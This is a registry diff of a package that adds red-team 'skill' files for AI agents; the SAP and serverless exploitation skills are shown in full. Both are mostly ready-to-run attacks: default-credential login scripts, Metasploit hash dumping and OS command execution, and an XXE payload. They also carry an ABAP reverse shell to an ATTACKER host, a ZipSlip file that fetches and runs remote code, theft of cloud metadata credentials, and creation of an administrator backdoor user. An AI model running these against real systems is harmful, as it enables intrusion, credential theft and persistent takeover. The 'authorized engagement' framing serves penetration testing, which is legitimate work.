rtexit-method 0.1.6 → 0.1.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-ai-llm-security/SKILL.md +385 -0
- package/packaged-assets/.agents/skills/rt-bluetooth-ble/SKILL.md +302 -0
- package/packaged-assets/.agents/skills/rt-browser-exploitation/SKILL.md +244 -0
- package/packaged-assets/.agents/skills/rt-oauth-oidc/SKILL.md +260 -0
- package/packaged-assets/.agents/skills/rt-printer-attacks/SKILL.md +213 -0
- package/packaged-assets/.agents/skills/rt-race-conditions/SKILL.md +357 -0
- package/packaged-assets/.agents/skills/rt-sap-exploitation/SKILL.md +275 -0
- package/packaged-assets/.agents/skills/rt-serverless/SKILL.md +274 -0
- package/packaged-assets/.agents/skills/rt-voip-sip/SKILL.md +231 -0
- package/packaged-assets/.agents/skills/rt-websockets-grpc/SKILL.md +357 -0
|
@@ -0,0 +1,275 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-sap-exploitation
|
|
3
|
+
description: "SAP system exploitation skill for authorized engagements. SAP service discovery and fingerprinting, default credential testing, SAP RFC enumeration with Metasploit modules, ICM web server exploitation, SAP GUI attacks, ABAP code injection, SAP Message Server vulnerability (CVE-2020-6207), SAP Router bypass, SAP HANA database attacks, and privilege escalation within SAP. Use when engagement scope includes SAP ERP, S/4HANA, or SAP NetWeaver systems."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-sap-exploitation — SAP System Exploitation
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
SAP is the backbone ERP system for many large enterprises — it holds financial data, HR records, supply chain information, and business-critical processes. Compromising SAP is often the most impactful finding in an enterprise engagement. SAP systems are frequently misconfigured, run outdated patches, and use default credentials.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Discovery & Fingerprinting
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# SAP port landscape
|
|
18
|
+
# 3200-3299 = SAP GUI (DIAG protocol) — SID 00-99
|
|
19
|
+
# 3300-3399 = RFC
|
|
20
|
+
# 8000-8099 = ICM HTTP
|
|
21
|
+
# 4300-4399 = Message Server
|
|
22
|
+
# 3600 = SAP Router
|
|
23
|
+
# 50000+ = SAP HANA
|
|
24
|
+
|
|
25
|
+
nmap -sV -p 3200-3299,3300-3399,8000-8099,4300-4399,3600 TARGET_IP
|
|
26
|
+
|
|
27
|
+
# Identify SAP system ID (SID) and instance
|
|
28
|
+
# SID = 3-character identifier (e.g., PRD, DEV, QAS)
|
|
29
|
+
# Instance = 2-digit number (00-99)
|
|
30
|
+
|
|
31
|
+
# HTTP-based fingerprinting
|
|
32
|
+
curl http://SAP_IP:8000/
|
|
33
|
+
curl http://SAP_IP:8000/sap/bc/ping # SAP alive check
|
|
34
|
+
curl http://SAP_IP:8000/sap/bc/gui/sap/its/webgui # Web GUI
|
|
35
|
+
|
|
36
|
+
# ICM server info
|
|
37
|
+
curl http://SAP_IP:8000/sap/bc/soap/wsdl?services=BAPI_ACTIVITYTYPE_GETLIST
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
---
|
|
41
|
+
|
|
42
|
+
## Phase 2 — Default Credentials
|
|
43
|
+
|
|
44
|
+
```bash
|
|
45
|
+
# SAP default accounts (try ALL of these)
|
|
46
|
+
# Format: username / password
|
|
47
|
+
|
|
48
|
+
# System accounts (always exist)
|
|
49
|
+
SAP* / 06071992 # Master superuser
|
|
50
|
+
SAP* / PASS # Alternative default
|
|
51
|
+
DDIC / 19920706 # Data Dictionary user (has all authorizations)
|
|
52
|
+
EARLYWATCH / SUPPORT # Early Watch service account
|
|
53
|
+
TMSADM / $1Pawd2& # Transport Management
|
|
54
|
+
|
|
55
|
+
# Application-specific
|
|
56
|
+
SOLMAN_ADMIN / SOLMAN
|
|
57
|
+
SAPSYS / MANAGER
|
|
58
|
+
BASIS / BASIS
|
|
59
|
+
|
|
60
|
+
# Try via SAP GUI (port 3200)
|
|
61
|
+
# Or via RFC:
|
|
62
|
+
python3 << 'EOF'
|
|
63
|
+
import pyrfc # pip install pyrfc
|
|
64
|
+
|
|
65
|
+
connections_to_try = [
|
|
66
|
+
{"user": "SAP*", "passwd": "06071992"},
|
|
67
|
+
{"user": "SAP*", "passwd": "PASS"},
|
|
68
|
+
{"user": "DDIC", "passwd": "19920706"},
|
|
69
|
+
{"user": "EARLYWATCH", "passwd": "SUPPORT"},
|
|
70
|
+
]
|
|
71
|
+
|
|
72
|
+
for creds in connections_to_try:
|
|
73
|
+
try:
|
|
74
|
+
conn = pyrfc.Connection(
|
|
75
|
+
ashost="SAP_IP", sysnr="00", client="000",
|
|
76
|
+
**creds
|
|
77
|
+
)
|
|
78
|
+
print(f"SUCCESS: {creds['user']}/{creds['passwd']}")
|
|
79
|
+
conn.close()
|
|
80
|
+
except pyrfc.LogonError:
|
|
81
|
+
print(f"FAILED: {creds['user']}")
|
|
82
|
+
EOF
|
|
83
|
+
```
|
|
84
|
+
|
|
85
|
+
---
|
|
86
|
+
|
|
87
|
+
## Phase 3 — SAP RFC Enumeration & Exploitation
|
|
88
|
+
|
|
89
|
+
```bash
|
|
90
|
+
# RFC = Remote Function Call — SAP's RPC mechanism
|
|
91
|
+
# Many RFCs callable without auth or with low-priv auth
|
|
92
|
+
|
|
93
|
+
# Metasploit SAP modules
|
|
94
|
+
msfconsole
|
|
95
|
+
|
|
96
|
+
# Enumerate RFC services
|
|
97
|
+
use auxiliary/scanner/sap/sap_rfc_dbcon # Database connections
|
|
98
|
+
use auxiliary/scanner/sap/sap_rfc_eps_get_directory_listing # Directory listing
|
|
99
|
+
use auxiliary/scanner/sap/sap_rfc_read_table # Read any DB table!
|
|
100
|
+
|
|
101
|
+
# Read SAP database tables (often works with any valid user)
|
|
102
|
+
use auxiliary/admin/sap/sap_rfc_read_table
|
|
103
|
+
set RHOSTS SAP_IP
|
|
104
|
+
set SID PRD
|
|
105
|
+
set CLIENT 000
|
|
106
|
+
set USERNAME ANY_VALID_USER
|
|
107
|
+
set PASSWORD ANY_VALID_PASS
|
|
108
|
+
set TABLE USR02 # User table (contains hashed passwords)
|
|
109
|
+
run
|
|
110
|
+
|
|
111
|
+
# Output: all SAP user accounts + password hashes
|
|
112
|
+
# Crack hashes with hashcat -m 7700 (SAP CODVN B)
|
|
113
|
+
|
|
114
|
+
# Read sensitive tables
|
|
115
|
+
set TABLE RFCDES # RFC destinations (contains cleartext passwords!)
|
|
116
|
+
set TABLE ICFSERVL # ICF services
|
|
117
|
+
set TABLE T000 # Clients/mandants
|
|
118
|
+
|
|
119
|
+
# ABAP OS command execution (if RFC_OS_COMMAND available)
|
|
120
|
+
use auxiliary/admin/sap/sap_rfc_os_command
|
|
121
|
+
set COMMAND "id"
|
|
122
|
+
run
|
|
123
|
+
# → OS-level command execution on SAP server
|
|
124
|
+
```
|
|
125
|
+
|
|
126
|
+
---
|
|
127
|
+
|
|
128
|
+
## Phase 4 — CVE-2020-6207 (SAP Message Server — Missing Auth)
|
|
129
|
+
|
|
130
|
+
```bash
|
|
131
|
+
# SAP Message Server on port 4300/4301 — no authentication by default
|
|
132
|
+
# Allows registering rogue application servers → intercept connections
|
|
133
|
+
|
|
134
|
+
# Check if vulnerable
|
|
135
|
+
curl http://SAP_IP:4300/msgserver/text/logon
|
|
136
|
+
|
|
137
|
+
# Exploit: register rogue app server
|
|
138
|
+
# metasploit
|
|
139
|
+
use auxiliary/admin/sap/sap_ms_rogue_dispatcher
|
|
140
|
+
set RHOSTS SAP_IP
|
|
141
|
+
set LHOST YOUR_IP
|
|
142
|
+
run
|
|
143
|
+
# → Can intercept SAP GUI connections → credential theft
|
|
144
|
+
|
|
145
|
+
# sapms_exploit.py
|
|
146
|
+
python3 sapms_exploit.py --host SAP_IP --port 4300 --sid PRD
|
|
147
|
+
```
|
|
148
|
+
|
|
149
|
+
---
|
|
150
|
+
|
|
151
|
+
## Phase 5 — SAP ICM Web Attacks
|
|
152
|
+
|
|
153
|
+
```bash
|
|
154
|
+
# ICM = Internet Communication Manager (SAP's web server)
|
|
155
|
+
# Exposed web services are often vulnerable
|
|
156
|
+
|
|
157
|
+
# Find exposed ICF services
|
|
158
|
+
curl "http://SAP_IP:8000/sap/bc/" -v
|
|
159
|
+
# Look for: /sap/bc/soap/, /sap/bc/rest/, /sap/bc/gui/
|
|
160
|
+
|
|
161
|
+
# XXE via SOAP
|
|
162
|
+
curl -X POST "http://SAP_IP:8000/sap/bc/soap/wsdl" \
|
|
163
|
+
-H "Content-Type: text/xml" \
|
|
164
|
+
-d '<?xml version="1.0"?>
|
|
165
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
|
166
|
+
<SOAP-ENV:Envelope>
|
|
167
|
+
<SOAP-ENV:Body>&xxe;</SOAP-ENV:Body>
|
|
168
|
+
</SOAP-ENV:Envelope>'
|
|
169
|
+
|
|
170
|
+
# SSRF via SAP web services
|
|
171
|
+
curl "http://SAP_IP:8000/sap/bc/rest/testservice?url=http://169.254.169.254/"
|
|
172
|
+
|
|
173
|
+
# Verb tampering on restricted services
|
|
174
|
+
curl -X HEAD "http://SAP_IP:8000/sap/bc/admin/"
|
|
175
|
+
curl -X OPTIONS "http://SAP_IP:8000/sap/bc/admin/"
|
|
176
|
+
```
|
|
177
|
+
|
|
178
|
+
---
|
|
179
|
+
|
|
180
|
+
## Phase 6 — ABAP Code Injection
|
|
181
|
+
|
|
182
|
+
```bash
|
|
183
|
+
# ABAP = SAP's programming language
|
|
184
|
+
# If you have SE38/SE80 transaction access → execute ABAP code → OS commands
|
|
185
|
+
|
|
186
|
+
# Via SAP GUI (port 3200) with dev access:
|
|
187
|
+
# SE38 → Create new program → Run
|
|
188
|
+
|
|
189
|
+
# ABAP OS command execution:
|
|
190
|
+
DATA: lv_command TYPE string.
|
|
191
|
+
lv_command = 'id > /tmp/pwned.txt'.
|
|
192
|
+
CALL FUNCTION 'SXPG_COMMAND_EXECUTE'
|
|
193
|
+
EXPORTING
|
|
194
|
+
commandname = 'Z_CMD'
|
|
195
|
+
additional_parameters = lv_command.
|
|
196
|
+
|
|
197
|
+
# Read file
|
|
198
|
+
CALL FUNCTION 'GUI_UPLOAD'
|
|
199
|
+
EXPORTING filename = '/tmp/pwned.txt'
|
|
200
|
+
TABLES data_tab = lt_data.
|
|
201
|
+
|
|
202
|
+
# Reverse shell via ABAP
|
|
203
|
+
CALL FUNCTION 'SXPG_COMMAND_EXECUTE'
|
|
204
|
+
EXPORTING additional_parameters =
|
|
205
|
+
'bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'.
|
|
206
|
+
```
|
|
207
|
+
|
|
208
|
+
---
|
|
209
|
+
|
|
210
|
+
## Phase 7 — SAP HANA Database Attacks
|
|
211
|
+
|
|
212
|
+
```bash
|
|
213
|
+
# SAP HANA = in-memory database (port 30013, 39013)
|
|
214
|
+
# Web IDE: port 8090
|
|
215
|
+
# SQL port: 39015
|
|
216
|
+
|
|
217
|
+
nmap -sV -p 30013,39013,39015,8090 HANA_IP
|
|
218
|
+
|
|
219
|
+
# Default HANA credentials
|
|
220
|
+
# SYSTEM / manager
|
|
221
|
+
# SYSTEM / HanaSystem1
|
|
222
|
+
|
|
223
|
+
# HANA web IDE (if exposed)
|
|
224
|
+
curl http://HANA_IP:8090/sap/hana/ide/
|
|
225
|
+
|
|
226
|
+
# SQL via Python
|
|
227
|
+
python3 << 'EOF'
|
|
228
|
+
from hdbcli import dbapi # pip install hdbcli
|
|
229
|
+
|
|
230
|
+
conn = dbapi.connect(
|
|
231
|
+
address="HANA_IP",
|
|
232
|
+
port=39015,
|
|
233
|
+
user="SYSTEM",
|
|
234
|
+
password="manager"
|
|
235
|
+
)
|
|
236
|
+
cursor = conn.cursor()
|
|
237
|
+
|
|
238
|
+
# Dump all schemas
|
|
239
|
+
cursor.execute("SELECT SCHEMA_NAME FROM SCHEMAS")
|
|
240
|
+
for row in cursor: print(row)
|
|
241
|
+
|
|
242
|
+
# Dump SAP application users
|
|
243
|
+
cursor.execute("SELECT * FROM SAPHANADB.USR02")
|
|
244
|
+
for row in cursor: print(row)
|
|
245
|
+
|
|
246
|
+
# OS command via HANA procedure (if priv)
|
|
247
|
+
cursor.execute("CALL SYS.SYSTEM_REPLICATION_STATUS()")
|
|
248
|
+
# Or native stored procedures that allow file I/O
|
|
249
|
+
EOF
|
|
250
|
+
|
|
251
|
+
# HANA brute force
|
|
252
|
+
hydra -l SYSTEM -P rockyou.txt HANA_IP -s 39015 -f tcp
|
|
253
|
+
```
|
|
254
|
+
|
|
255
|
+
---
|
|
256
|
+
|
|
257
|
+
## Skill Levels
|
|
258
|
+
|
|
259
|
+
**BEGINNER:** SAP port scan + default credential testing via browser/GUI + read USR02 table
|
|
260
|
+
|
|
261
|
+
**INTERMEDIATE:** Metasploit RFC modules + CVE-2020-6207 Message Server + ICM web service attacks
|
|
262
|
+
|
|
263
|
+
**ADVANCED:** ABAP code execution + HANA database access + full credential extraction
|
|
264
|
+
|
|
265
|
+
**EXPERT:** SAP Router bypass + custom RFC exploitation + ABAP webshell deployment + SAP transport system backdoor
|
|
266
|
+
|
|
267
|
+
---
|
|
268
|
+
|
|
269
|
+
## References
|
|
270
|
+
|
|
271
|
+
- SAP security research: https://www.onapsis.com/research
|
|
272
|
+
- Metasploit SAP modules: https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/sap
|
|
273
|
+
- CVE-2020-6207: https://www.cvedetails.com/cve/CVE-2020-6207/
|
|
274
|
+
- SAP Hacking Guide: https://conference.hitb.org/hitbsecconf2011ams/materials/D2T2%20-%20Mariano%20Nunez%20-%20SAP%20Hacking.pdf
|
|
275
|
+
- MITRE T1190: https://attack.mitre.org/techniques/T1190/
|
|
@@ -0,0 +1,274 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-serverless
|
|
3
|
+
description: "Serverless function exploitation skill for authorized engagements. AWS Lambda privilege escalation and data exfiltration, Azure Functions abuse, GCP Cloud Functions exploitation, environment variable extraction from serverless contexts, event injection attacks (S3 trigger, SQS, SNS), function URL misconfiguration, cold start timing attacks, shared filesystem abuse, and lateral movement from serverless to cloud account. Use when engagement scope includes cloud-native or serverless architectures."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-serverless — Serverless Function Exploitation
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Serverless functions (Lambda, Azure Functions, Cloud Functions) have a unique attack surface: they run with IAM roles, have environment variables containing secrets, share underlying infrastructure, and are triggered by cloud events that attackers can inject into. A misconfigured Lambda can be the pivot from an external vulnerability to full cloud account takeover.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Discovery & Enumeration
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# AWS Lambda enumeration
|
|
18
|
+
aws lambda list-functions --region us-east-1
|
|
19
|
+
aws lambda get-function --function-name target-function
|
|
20
|
+
# Shows: code location (S3 URL), environment variables (if you have IAM rights), role
|
|
21
|
+
|
|
22
|
+
# Download function code
|
|
23
|
+
aws lambda get-function --function-name target-function \
|
|
24
|
+
--query 'Code.Location' --output text | xargs curl -o function.zip
|
|
25
|
+
unzip function.zip -d function_code/
|
|
26
|
+
# Analyze code for: hardcoded creds, SQL queries, internal endpoints
|
|
27
|
+
|
|
28
|
+
# Get function policy (who can invoke it)
|
|
29
|
+
aws lambda get-policy --function-name target-function
|
|
30
|
+
# If Resource: "*" → publicly invokable
|
|
31
|
+
|
|
32
|
+
# List function URLs (direct HTTPS invocation without IAM)
|
|
33
|
+
aws lambda list-function-url-configs --function-name target-function
|
|
34
|
+
# AuthType: NONE = unauthenticated invoke = high risk
|
|
35
|
+
|
|
36
|
+
# Azure Functions enumeration
|
|
37
|
+
az functionapp list --output table
|
|
38
|
+
az functionapp function list --name FUNCTION_APP --resource-group RG
|
|
39
|
+
|
|
40
|
+
# GCP Cloud Functions
|
|
41
|
+
gcloud functions list
|
|
42
|
+
gcloud functions describe FUNCTION_NAME --region us-central1
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
---
|
|
46
|
+
|
|
47
|
+
## Phase 2 — Unauthenticated Function Invocation
|
|
48
|
+
|
|
49
|
+
```bash
|
|
50
|
+
# Lambda Function URLs with AuthType: NONE
|
|
51
|
+
curl https://RANDOM_ID.lambda-url.us-east-1.on.aws/
|
|
52
|
+
|
|
53
|
+
# Lambda with resource policy allowing public invoke
|
|
54
|
+
aws lambda invoke --function-name target-function \
|
|
55
|
+
--payload '{"action":"admin","user":"attacker"}' \
|
|
56
|
+
--cli-binary-format raw-in-base64-out output.json
|
|
57
|
+
cat output.json
|
|
58
|
+
|
|
59
|
+
# Azure Function with anonymous auth level
|
|
60
|
+
curl "https://FUNCTIONAPP.azurewebsites.net/api/FUNCTION_NAME"
|
|
61
|
+
# Or with function key:
|
|
62
|
+
curl "https://FUNCTIONAPP.azurewebsites.net/api/FUNCTION_NAME?code=FUNCTION_KEY"
|
|
63
|
+
|
|
64
|
+
# Find function keys (often in source code, CI/CD, or Azure Portal)
|
|
65
|
+
az functionapp function keys list --name FUNCTIONAPP --resource-group RG --function-name FUNC
|
|
66
|
+
|
|
67
|
+
# GCP unauthenticated function
|
|
68
|
+
curl "https://REGION-PROJECT.cloudfunctions.net/FUNCTION_NAME"
|
|
69
|
+
# allUsers with invoker role = public
|
|
70
|
+
gcloud functions get-iam-policy FUNCTION_NAME
|
|
71
|
+
```
|
|
72
|
+
|
|
73
|
+
---
|
|
74
|
+
|
|
75
|
+
## Phase 3 — Environment Variable Extraction
|
|
76
|
+
|
|
77
|
+
```bash
|
|
78
|
+
# Lambda environment variables often contain:
|
|
79
|
+
# - Database credentials
|
|
80
|
+
# - API keys (Stripe, Twilio, SendGrid)
|
|
81
|
+
# - JWT signing secrets
|
|
82
|
+
# - Internal service URLs
|
|
83
|
+
# - AWS credentials for other services
|
|
84
|
+
|
|
85
|
+
# Extract env vars if you have lambda:GetFunction
|
|
86
|
+
aws lambda get-function-configuration --function-name target-function \
|
|
87
|
+
| jq '.Environment.Variables'
|
|
88
|
+
# Output:
|
|
89
|
+
# {
|
|
90
|
+
# "DB_PASSWORD": "secretpassword",
|
|
91
|
+
# "STRIPE_API_KEY": "sk_live_...",
|
|
92
|
+
# "INTERNAL_API_KEY": "abc123"
|
|
93
|
+
# }
|
|
94
|
+
|
|
95
|
+
# From inside function execution (SSRF → Lambda metadata)
|
|
96
|
+
# If the function is vulnerable to SSRF:
|
|
97
|
+
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
|
|
98
|
+
# Or Lambda-specific endpoint:
|
|
99
|
+
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
|
100
|
+
# Returns temporary credentials for the function's IAM role
|
|
101
|
+
|
|
102
|
+
# If you have code execution inside function:
|
|
103
|
+
# Process environment dump
|
|
104
|
+
import os
|
|
105
|
+
print(dict(os.environ))
|
|
106
|
+
# All env vars including AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
|
|
107
|
+
```
|
|
108
|
+
|
|
109
|
+
---
|
|
110
|
+
|
|
111
|
+
## Phase 4 — Event Injection Attacks
|
|
112
|
+
|
|
113
|
+
```bash
|
|
114
|
+
# Functions triggered by cloud events — inject malicious events
|
|
115
|
+
|
|
116
|
+
# S3 trigger: function processes files uploaded to S3 bucket
|
|
117
|
+
# If you have S3 write access → upload malicious file → trigger function
|
|
118
|
+
|
|
119
|
+
# Upload file that causes path traversal in function
|
|
120
|
+
aws s3 cp malicious.csv s3://trigger-bucket/uploads/../../etc/passwd
|
|
121
|
+
|
|
122
|
+
# Upload ZIP that causes ZipSlip in function
|
|
123
|
+
python3 << 'EOF'
|
|
124
|
+
import zipfile
|
|
125
|
+
with zipfile.ZipFile("zipslip.zip", "w") as z:
|
|
126
|
+
z.writestr("../../tmp/pwned.sh", "#!/bin/bash\ncurl http://ATTACKER/shell.sh | bash")
|
|
127
|
+
EOF
|
|
128
|
+
aws s3 cp zipslip.zip s3://trigger-bucket/uploads/
|
|
129
|
+
|
|
130
|
+
# SQS injection: function processes SQS messages
|
|
131
|
+
aws sqs send-message \
|
|
132
|
+
--queue-url https://sqs.us-east-1.amazonaws.com/ACCOUNT/queue-name \
|
|
133
|
+
--message-body '{"action":"admin_override","user_id":"1","admin":true}'
|
|
134
|
+
|
|
135
|
+
# SNS injection
|
|
136
|
+
aws sns publish \
|
|
137
|
+
--topic-arn arn:aws:sns:us-east-1:ACCOUNT:topic-name \
|
|
138
|
+
--message '{"type":"webhook","url":"http://169.254.169.254/latest/meta-data/"}'
|
|
139
|
+
|
|
140
|
+
# API Gateway → Lambda injection
|
|
141
|
+
# Standard web attacks (SQLi, XSS, SSRF) via HTTP
|
|
142
|
+
curl "https://API_ID.execute-api.us-east-1.amazonaws.com/prod/user?id=1' OR '1'='1"
|
|
143
|
+
```
|
|
144
|
+
|
|
145
|
+
---
|
|
146
|
+
|
|
147
|
+
## Phase 5 — IAM Role Abuse from Lambda
|
|
148
|
+
|
|
149
|
+
```bash
|
|
150
|
+
# Lambda functions have an IAM execution role
|
|
151
|
+
# Over-privileged roles → lateral movement to other AWS services
|
|
152
|
+
|
|
153
|
+
# From inside function (or via SSRF):
|
|
154
|
+
# Get temporary credentials
|
|
155
|
+
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
|
156
|
+
# Response:
|
|
157
|
+
# {
|
|
158
|
+
# "AccessKeyId": "ASIA...",
|
|
159
|
+
# "SecretAccessKey": "...",
|
|
160
|
+
# "Token": "...",
|
|
161
|
+
# "Expiration": "2024-..."
|
|
162
|
+
# }
|
|
163
|
+
|
|
164
|
+
# Use credentials to escalate
|
|
165
|
+
export AWS_ACCESS_KEY_ID="ASIA..."
|
|
166
|
+
export AWS_SECRET_ACCESS_KEY="..."
|
|
167
|
+
export AWS_SESSION_TOKEN="..."
|
|
168
|
+
|
|
169
|
+
# Check what the role can do
|
|
170
|
+
aws sts get-caller-identity
|
|
171
|
+
aws iam list-attached-role-policies --role-name lambda-execution-role
|
|
172
|
+
aws iam get-role-policy --role-name lambda-execution-role --policy-name inline-policy
|
|
173
|
+
|
|
174
|
+
# Common over-privilege patterns:
|
|
175
|
+
aws s3 ls --recursive # s3:* = read all buckets
|
|
176
|
+
aws secretsmanager list-secrets # All secrets
|
|
177
|
+
aws ssm describe-parameters # All SSM parameters (contain creds)
|
|
178
|
+
aws ec2 describe-instances # Internal infrastructure map
|
|
179
|
+
|
|
180
|
+
# Best case: iam:* → full account takeover
|
|
181
|
+
aws iam create-user --user-name backdoor
|
|
182
|
+
aws iam attach-user-policy --user-name backdoor \
|
|
183
|
+
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
|
|
184
|
+
aws iam create-access-key --user-name backdoor
|
|
185
|
+
```
|
|
186
|
+
|
|
187
|
+
---
|
|
188
|
+
|
|
189
|
+
## Phase 6 — Shared Filesystem & Cold Start Attacks
|
|
190
|
+
|
|
191
|
+
```bash
|
|
192
|
+
# /tmp in Lambda is shared across warm instances (same account, same function)
|
|
193
|
+
# Write to /tmp → next warm invocation reads it
|
|
194
|
+
|
|
195
|
+
# Test for shared /tmp abuse
|
|
196
|
+
# Invoke 1: write marker
|
|
197
|
+
curl -X POST FUNCTION_URL -d '{"action":"write","path":"/tmp/marker","content":"pwned"}'
|
|
198
|
+
|
|
199
|
+
# Invoke 2: read marker
|
|
200
|
+
curl -X POST FUNCTION_URL -d '{"action":"read","path":"/tmp/marker"}'
|
|
201
|
+
# If response = "pwned" → /tmp shared across invocations
|
|
202
|
+
|
|
203
|
+
# Lambda Layer abuse
|
|
204
|
+
# Layers are shared code across functions
|
|
205
|
+
# If you can modify a layer: aws lambda publish-layer-version
|
|
206
|
+
# All functions using that layer execute your code
|
|
207
|
+
|
|
208
|
+
# Cold start timing attack
|
|
209
|
+
# Functions have initialization code that runs once
|
|
210
|
+
# If init code is slow → cold start takes longer → timing reveals code paths
|
|
211
|
+
|
|
212
|
+
# Measure cold start time
|
|
213
|
+
python3 << 'EOF'
|
|
214
|
+
import requests, time
|
|
215
|
+
|
|
216
|
+
# Force cold start by changing something
|
|
217
|
+
for _ in range(5):
|
|
218
|
+
start = time.time()
|
|
219
|
+
r = requests.post(FUNCTION_URL, json={"probe": True})
|
|
220
|
+
elapsed = time.time() - start
|
|
221
|
+
print(f"Response time: {elapsed:.3f}s | Status: {r.status_code}")
|
|
222
|
+
time.sleep(0.1)
|
|
223
|
+
# Long first response = cold start = leaked initialization info
|
|
224
|
+
EOF
|
|
225
|
+
```
|
|
226
|
+
|
|
227
|
+
---
|
|
228
|
+
|
|
229
|
+
## Phase 7 — Azure Functions & GCP Specific
|
|
230
|
+
|
|
231
|
+
```bash
|
|
232
|
+
# Azure Functions — Managed Identity abuse
|
|
233
|
+
# Functions with Managed Identity can access Azure resources
|
|
234
|
+
|
|
235
|
+
# From inside Azure function (SSRF to IMDS):
|
|
236
|
+
curl "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://management.azure.com/" \
|
|
237
|
+
-H "Metadata: true"
|
|
238
|
+
# Returns access token for the function's managed identity
|
|
239
|
+
|
|
240
|
+
# Use token to access Azure resources
|
|
241
|
+
TOKEN=$(curl -s "http://..." -H "Metadata: true" | jq -r '.access_token')
|
|
242
|
+
curl -H "Authorization: Bearer $TOKEN" \
|
|
243
|
+
"https://management.azure.com/subscriptions?api-version=2020-01-01"
|
|
244
|
+
|
|
245
|
+
# GCP Cloud Functions — Service Account abuse
|
|
246
|
+
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
|
|
247
|
+
-H "Metadata-Flavor: Google"
|
|
248
|
+
# Returns access token for the function's service account
|
|
249
|
+
|
|
250
|
+
TOKEN=$(curl -s "http://..." -H "Metadata-Flavor: Google" | python3 -c "import json,sys; print(json.load(sys.stdin)['access_token'])")
|
|
251
|
+
curl -H "Authorization: Bearer $TOKEN" \
|
|
252
|
+
"https://cloudresourcemanager.googleapis.com/v1/projects"
|
|
253
|
+
```
|
|
254
|
+
|
|
255
|
+
---
|
|
256
|
+
|
|
257
|
+
## Skill Levels
|
|
258
|
+
|
|
259
|
+
**BEGINNER:** Lambda function enumeration + download code + check env vars + unauthenticated invoke
|
|
260
|
+
|
|
261
|
+
**INTERMEDIATE:** Event injection via S3/SQS + IAM role credential extraction via IMDS SSRF + Secrets Manager dump
|
|
262
|
+
|
|
263
|
+
**ADVANCED:** Lambda layer modification for persistence + shared /tmp abuse + managed identity chaining
|
|
264
|
+
|
|
265
|
+
**EXPERT:** Custom event injection chains + cross-function lateral movement + serverless-to-EC2 pivot via over-privileged role
|
|
266
|
+
|
|
267
|
+
---
|
|
268
|
+
|
|
269
|
+
## References
|
|
270
|
+
|
|
271
|
+
- Pacu (AWS exploitation): https://github.com/RhinoSecurityLabs/pacu
|
|
272
|
+
- Lambda security research: https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
|
|
273
|
+
- Serverless Goat (lab): https://github.com/OWASP/Serverless-Goat
|
|
274
|
+
- MITRE T1648: https://attack.mitre.org/techniques/T1648/
|